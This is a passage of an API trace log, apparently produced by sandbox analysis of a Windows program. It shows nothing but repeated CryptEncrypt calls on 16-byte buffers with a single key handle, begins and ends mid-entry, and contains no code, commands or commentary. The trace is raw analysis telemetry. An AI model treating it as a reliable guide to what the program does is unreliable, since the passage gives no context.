pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 